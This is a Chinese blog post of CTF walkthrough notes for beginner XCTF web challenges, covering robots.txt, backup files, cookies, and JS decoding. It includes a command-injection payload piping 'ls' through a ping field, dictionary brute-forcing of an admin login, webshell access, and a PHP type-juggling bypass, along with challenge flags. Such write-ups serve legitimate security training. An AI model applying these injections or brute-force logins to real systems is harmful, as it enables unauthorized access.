xctf平台web答题笔记

原创

ascar_奥斯卡 ● 于 2019-09-11 16:57:09 发布 ● 213 ☆ 收藏 分类专栏: web 文章标签: web 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/qq_42874910/article/details/100737980</u>

版权



web 专栏收录该内容

2篇文章 0 订阅 订阅专栏

web答题笔记

- view_source
- get_post
- robots
- backup
- cookie
- disabled_button
- simple_js
- weak_auth
- webshell
- command_execution
- simple_php

view_source

FLAG is not here



get_post

这里我使用firefox的插件hackbar 首先要求get方式提交值为1的a变量,默认情况下都是get方式提交变量,url后输入?a=1 提交后又提示post方式提交值为2的b变量 这里选择hackbar的post data输入b=2然后提交得到flag

请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量 cyberpeace{6b2038b68a39d474e8bff149dd5cb887}

日本 日	▶ 控制台	D 调试器	器 { } 样式编	編器 🥥 性能	① 内存	↑↓ 网络	🗄 存储	🕇 无障碍环境	HackBar
Encryption -	Encoding	g 👻 SQL	× XSS •	Other -					
a Load URL	http:	//111.198.2	29.45:44934/	/?a=1					
🐰 Split URL									
() Execute	Pro Pro	ost data [Referer	User Agent	Cook	ies C	lear All		
	b=2							https://bl	og.csdn.net/qq_42874910

robots

robots协议,在url后添加robots.txt得到flag



User-agent: * Disallow: Disallow: flag_1s_h3re.php

backup

这里考的是index.php备份文件名字,默认情况下为index.php.bak,直接在url后门加上提示下载内容,下载后打开看到flag

```
⊖<html>
-head>
     <meta charset="UTF-8">
     <title>备份文件</title>
     k href="http://libs.baidu.com/bootstrap/3.0.3/c/
     <style>
Ė
         body {
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
         }
     </style>
</head>
¢<body>
 <h3>你知道index.php的备份文件名吗? </h3>
¢<?php
 $flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
-?>
-</body>
</html>
```

cookie

你知道什么是cookie吗?

R	○ 査者	器 🕥 控制台	▷ 调试器 {}样式编辑器 ⑦ 性能	① 内存 🚺	网络	🗄 存储	十 无障碍环境	HackBar			0] ×
Û	▼ 过滤 U	RL								所有 HTML CSS JS XHR 字体 図像 媒体 WS 其他 目接 会日志 目 禁用 緩存	不节流 \$ HAR \$
状态	方法	域名	文件	触发源头	类型	传输	大小	0 毫秒	160 毫秒	320 毫 🗹 消息头 Cookie 参数 响应 耗时 堆栈跟踪	
200	GET	// 111.198.29		document	html	583 字节	417		137 豪砂	请求网址 http://111.198.29.45:34092/	^
304	GET	🔏 libs.baidu.c	bootstrap.min.css	stylesheet	CSS	已缓存	97.22			■ 远程地址: 111.198.29.45:34092	
404	GET	% 111.198.29	favicon.ico	img	html	已缓存	290			状态码: 200 OK ⑦	
										版本: HTTP/1.1	
										编辑和重发	
										▼ 过滤消息头	
										▼ 响应头 (307 字节)	原始头
										⑦ Connection: Keep-Alive	
										⑦ Content-Encoding: gzip	
										⑦ Content-Length: 276	
										⑦ Content-Type: text/html	
										(?) Date: Wed, 11 Sep 2019 07:45:29 GMT	
										() Keep-Alive: timeout=5, max=100	
										Server: Apacne/2.4.7 (Upuntu) Set Cookies have been cookie phy	

访问后同样 f12 然后看网络接着 f5 ,看到响应时间有点长的url,点开看看,flag就在这里右下角

(i) 111.198.29.45:34092/cookie.php	••• ☑ php ☆ Q 搜索	⊥ "

See the http response

制台 D 调试器 {}样式编辑器 🕥 性能	①:内存 🚺 网络	日存储	★ 无障碍	不境 🕘 HackBar			
						所有	HTML CSS JS XHR 字体图像媒体WS 其他 目持续
文件	触发源头	类型	传输	大小 0 空秒	80 窒秒	160 毫秒	2 D 消息头 Cookie 参数 响应 耗时 堆栈跟踪
98.29.4 cookie.php	document	html !	578 字节	411 字节	1	136 臺秒	请求网址: http://111.198.29.45:34092/cookie.php 清求方法: GET
idu.com bootstrap.min.css	stylesheet	CSS	已缓存	97.22 KB			远程地址: 111.198.29.45:34092
98.29.4 favicon.ico	img	html	已缓存	290 字节			状态码: 200 OK ⑦
							版本: HTTP/1.1
							编辑和重发
							▼ 过滤消息头
							▼ 响应头 (325 字节)
							⑦ Connection: Keep-Alive
							⑦ Content-Encoding: gzip
							⑦ Content-Length: 253
							⑦ Content-Type: text/html
							⑦ Date: Wed, 11 Sep 2019 07:50:45 GMT
							flag: cyberpeace{fc43e9dd86ec148df7f6ab8b8a277135}

disabled_button





simple_js

打开让我们输入密码,先f12看看源码

```
<html>
<head>
   <title>JS</title>
   <script type="text/javascript">
   function dechiffre(pass_enc){
      var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
      var tab = pass_enc.split(',');
             var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (1) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-1];p += String.fromCharCode((o = tab2[i]));</pre>
                           if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                           if(i > 5 \&\& i < k-1)
                                 p += String.fromCharCode((o = tab2[i]));
      p += String.fromCharCode(tab2[17]);
      pass = p;return pass;
   h = window.prompt('Enter password');
   alert( dechiffre(h) );
</script>
</head>
</html>
```

代码审计,发现前面一大堆代码,最后还是和后面固定的16进制字符串内容比较 16进制转字符得到下面内容 55,56,54,79,115,69,114,116,107,49,50 再将其转换对应为unicode编码 786OsErtk12 这个就是flag了

weak_auth

POST /check.php HTTP/1.1
Host: 111.198.29.45:37987
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://111.198.29.45:37987/
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: look-here=cookie.php
Upgrade-Insecure-Requests: 1
username=admin&password=\$123\$

https://blog.csdn.net/qq_42874910

使用字典,字典的内容自己搜集一些常用的弱密码就行

.

	Request 🔺	Payload	Status	Error	Timeout	Length	Comment	
Ľ	0		200			434		
II.	1	1	200			434		
	2	111	200			434		
	3	123	200			434		
	4	1234	200			434		
d	5	12345	200			434		
	6	123456	200			437		
L	7	1234567	200			434		
	8	12345678	200			434		
	9	654321	200			434		
	Request	Response						
-								

爆破时发现123456这个密码返回长度不同,使用该密码登录成功并在页面显示了flag

webshell

菜刀直接连接就行,然后在html目录下看到flag

command_execution

PING

127.0.0.1 | Is /home

PING

ping -c 3 127.0.0.1 | ls /home
flag.txt

https://blog.csdn.net/qq_42874910

发现可以执行系统命令 最后发现home目录下有个flag文件

PING

请输入需要ping的地址

PING

ping -c 3 127.0.0.1 | ls index.php

https://blog.csdn.net/gg_42874910

simple_php

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$ GET['a'];
$b=@$_GET['b'];
if($a==0 and $a) {
        echo $flag1;
}
if(is_numeric($b)) {
       exit();
}
if($b>1234){
       echo $flag2;
}
?>
```

代码审计,a本身值为真,还要等于0,b不能是数字,值还要大于1234 这里涉及到php的数字和字符比较的问题,当变量为纯字符时(这里指字符中没有数字),若和数字比较,会默认将纯字符视为0; 而如果字符前面有数字会转换为前面的数字。

▶ 査看器	▶ 控制台	〇 调试器	{}样式编辑	闘器 🥥 性能	① 内存	1↓ 🛛
ryption -	Encoding	- SQL -	XSS -	Other -		
Load URL	http://	/111.198.29.	45:52994/?	a=a&b=1235b)	
Split URL						
Execute	D Po	st data 🗌	Referer] User Agent	Cook	ies ₁₀

构造url

##